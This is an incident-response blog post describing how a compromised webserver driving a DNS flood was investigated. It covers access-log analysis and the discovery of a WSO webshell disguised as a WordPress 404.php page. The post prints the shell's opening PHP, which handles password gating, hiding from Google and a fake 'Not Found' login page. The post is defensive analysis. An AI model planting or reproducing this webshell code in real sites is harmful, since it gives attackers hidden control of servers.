Notes of a Pragmatic Geek

by Daniel Khan

Webserver attack deconstructed

This is a webshell. This post covers how I found it on a server.

The emergency

Some days ago I got a call.

A webserver (Linux) of an advertising company hosting about 60 sites was going nuts and was driving attacks against other sites.
The datacenter had taken it offline twice and now demanded a reinstallation.


I asked for more information from the datacenter to get some overview of the situation and got some logs with tons of lines like this:

 2013.xx.xx 18:16:49 UDP: xx.xx.xx.xx:39731 -> 209.112.113.33:53 flags: size: 77  

 


So what are we seeing here?
Obviously the server is flooding 209.112.113.33 with DNS (Port 53) requests.
So let’s have a quick look who is beeing attacked:

 $ host 209.112.113.33  
 33.113.112.209.in-addr.arpa domain name pointer a1.verisigndns.com.  
 33.113.112.209.in-addr.arpa domain name pointer sbdns3.cscdns.net.  
 33.113.112.209.in-addr.arpa domain name pointer spdns3.cscdns.net.  

ok – this is some DNS service hosted by Verisign (most probably it’s hosted DNS service) – the 3 entries originate from load balancing though multiple DNS entries.

The frequency of this requests were about 100/s according to the logs.
This attack pattern could theoretically also originate from a programming error but most probably the server had been compromised.

As the host was taken offline and there was no way to access it by ssh I got the credentials for HP iLO on this server.
There I set up a firewall that blocked DNS requests that exceeded some 100 / second.
This was only because of paranoia – I didn’t plan to boot the server into the hacked system but who knows …

Then I had to convince the support staff of the datacenter to put the server back online without doing a re-installation.
My argument was that if there was a website with malicious code and we restored the backup the malicious code would again be in place. They agreed to put the server online in rescue mode.

Rescue mode

Usually this means that the host is booting via network. The OS resides in memory and the local disks can be mounted. You can even jump into the local OS using chroot.

Cleaning up

I had to find the cause for the DNS attack so I started looking for malicious code using some filescanners for it.
What I found was some index.html files that contained malicious javascript code coming from an attack called RunForestRun. This was installed using a vulnerability in Plesk Panel.
The javascript looks like this

I cleaned those files. Looking at the installed Plesk version I found out that it wasn’t prone to this attack anymore and I remembered that the client had told me that he moved his sites to the new host some time ago. So most obviously he moved the malware with it.

Could this really be the cause for the UDP flood? I digged deeper into RunForestRun and found out that ir was redirecting users accessing a website with this malware. But DNS flooding? No there seemed to be more going on.

Digging deeper

So what sites were running on this hos? Mostly wordpress.
So I started researching for known exploits for wordpress and I found that some are using malicious error pages, like 403.php – oviously because they are contained with many wordpress themes.
So let’s see if the webserver logfiles contain something suspect:
 root@grml:/mnt/md0/var/www/vhosts# cat */statistics/logs/access_log.processed | grep '404.php'  
 xx.xx.xx.xx - - [xx/xx/xx:02:15:47 +0100] "GET /wp-admin/user/404.php HTTP/1.1" 200 698 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"  
 xx.xx.xx.xx - - [xx/xx/xx:02:15:53 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3978 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"  
 xx.xx.xx.xx - - [xx/xx/xx:02:15:59 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 5193 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"  
 xx.xx.xx.xx - - [xx/xx/xx:02:16:03 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3849 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"  
 xx.xx.xx.xx - - [xx/xx/xx:02:16:07 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3652 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"  
 xx.xx.xx.xx - - [xx/xx/xx:02:16:10 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3710 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"  
 xx.xx.xx.xx - - [xx/xx/xx:02:16:11 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3639 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"  
 xx.xx.xx.xx - - [xx/xx/xx:02:17:38 +0100] "POST /wp-admin/user/404.php HTTP/1.1" 200 3697 "http://domain.at/wp-admin/user/404.php" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"  

It matches the time of the attack and why should someone issue a POST request against a 404 error page?

Finding the webshell

This 404.php script seemed to be something I wanted to look into and I really found what I expected. See the comments for an explanation

  /* WSO 2.1 (Ynx Shell) */   
 /*hackersclub.net*/               // Some credits
 $auth_pass = "some MD5";          // Needed to access the magic inside
 $color = "#00ff00";   
 $default_action = 'FilesMan';   
 @define('SELF_PATH', __FILE__);                                      // Lock out google
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {   
   header('HTTP/1.0 404 Not Found');   
   exit;   
  }   
 @session_start();   
 @error_reporting(0);   
 @ini_set('error_log',NULL);   
 @ini_set('log_errors',0);   
 @ini_set('max_execution_time',0);   
 @set_time_limit(0);   
 @set_magic_quotes_runtime(0);   
 @define('VERSION', '2.1');   
 if( get_magic_quotes_gpc() ) {   
   function stripslashes_array($array) {   
     return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);   
   }   
   $_POST = stripslashes_array($_POST);   
 }   
 function printLogin() {               // Outputs a regular error page
   ?>

Not Found


The requested URL was not found on this server.




Apache Server at Port 80



  exit; 
 } 
 // If no pass is give via POST it prints the / login page
 if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
 if( empty( $auth_pass ) || 
 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
 else 
 printLogin();

I was curious so I moved this script into a virtual machine, set my own password (md5) and accessed it.

This looked sane – but the HTML source behind was more interesting:

Not Found

   

The requested URL was not found on this server.

   

   
Apache Server at ubuntu.local Port 80
   
 

 

I used Firebug to locate the form field and filled it out with the password set before. Pressed return and …. wow!

A user calling this page randomly gets what she expects. Google only sees what it should. Behind lies a webshell that lets you do quite everything the webserver user on this server is allowed to do.

Only deleting the shell would not really cure anything as the security hole used to upload it could still be in place. So I had to find out how the attacker got in.
I will cover this in my next post.

Leave a Reply

Your email address will not be published. Required fields are marked *